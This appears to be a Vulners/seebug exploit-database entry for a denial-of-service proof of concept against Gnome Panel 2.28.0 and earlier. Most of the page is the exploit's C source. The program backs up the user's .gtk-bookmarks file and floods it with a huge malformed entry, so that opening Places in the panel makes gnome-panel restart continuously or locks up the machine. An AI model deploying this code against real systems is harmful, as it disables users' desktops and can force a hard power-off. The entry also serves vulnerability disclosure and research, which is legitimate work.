Lucene search
K

Gnome Panel <= 2.28.0 - Denial of Service PoC (0day)

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 17 Views

Gnome Panel Denial of Service PoC 0-day by Pietro Oliva. Creates backup file, restarts gnome-panel continuously, or total block requiring battery removal

Code

                                                # Tested on: ubuntu 9.10
# CVE : 
# Code :

/*********************************************************************************
*	        Gnome panel &#60;= 2.28.0 denial of service poc 0-day		 *
*		     by  Pietro Oliva &#60;[email protected]&#62;
*                         http://olivapietro.altervista.org
*										 *
*	      After executing this poc a backup file will be created             *
*                You can restore it by typing ./paneldos restore                 *
*           Using option restart gnome-panel will restart continuously           *
*          Using option totalblock you will need to remove the battery           *
*       After execution click application in the panel, then go to places        *
*                             and wait some seconds...   			 *
*       https://bugs.launchpad.net/ubuntu/+source/gnome-panel/+bug/503868        *
**********************************************************************************/



#include &#60;stdio.h&#62;
#include &#60;string.h&#62;
int main(int argc, char **argv)
{
	FILE *f;
	unsigned long i;
	printf(&#34;%s&#34;,&#34;Gnome panel &#60;= 2.28.0 denial of service by Pietro Oliva poc 0-day\n\n&#34;);
	if(!(f=fopen(&#34;.gtk-bookmarks&#34;,&#34;r&#34;)))
	{
		printf(&#34;%s&#34;,&#34;file not found! make sure you are running\nthis file from your home directory\n&#34;);
		return 1;
	}
	fclose(f);
	if((argv[1]==NULL))
	{
		printf(&#34;%s&#34;,&#34;please specify an argument!\n&#34;);
		printf(&#34;%s&#34;,&#34;usage: ./paneldos &#60;option&#62;\npossible options are:\trestart\t\ttotalblock\trestore\n&#34;);
		return 1;
	}
	if(((strcmp(argv[1],&#34;restart&#34;))==0))
	i=9999;
	else if((strcmp(argv[1],&#34;totalblock&#34;))==0)
	i=99999;
	else if((strcmp(argv[1],&#34;restore&#34;))==0)
	{
		if(!(f=fopen(&#34;.backup&#34;,&#34;r&#34;)))
		{
			printf(&#34;%s&#34;,&#34;no backup found!\nmake sure you are running\nthis file from your home directory\n&#34;);
			return 1;
		}
		fclose(f);
		system(&#34;cp .backup .gtk-bookmarks&#34;);
		printf(&#34;%s&#34;,&#34;succesfully restored!\n&#34;);
		return 0;
	}
	else
	{
		printf(&#34;%s&#34;,&#34;usage: ./paneldos &#60;option&#62;\npossible options are:\trestart\t\ttotalblock\trestore\n&#34;);
		return 1;
	}
	if(!(f=fopen(&#34;.backup&#34;,&#34;r&#34;)))
	{	
		printf(&#34;%s&#34;,&#34;creating backup...\n&#34;);
		system(&#34;cp .gtk-bookmarks .backup&#34;);
	}
	else
	fclose(f);
	f=fopen(&#34;.gtk-bookmarks&#34;,&#34;a&#34;);
	printf(&#34;%s&#34;,&#34;starting...\n&#34;);
	fwrite(&#34;file:///home &#34;,1,13,f);
	while(i&#62;0)
	{
		fwrite(&#34;\ta&#34;,1,2,f);
		i--;
	}
	fclose(f);
	printf(&#34;%s&#34;,&#34;done! now click applications in panel,\nslide to places, wait and see the result! :D\n&#34;);
	return 0;
}

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation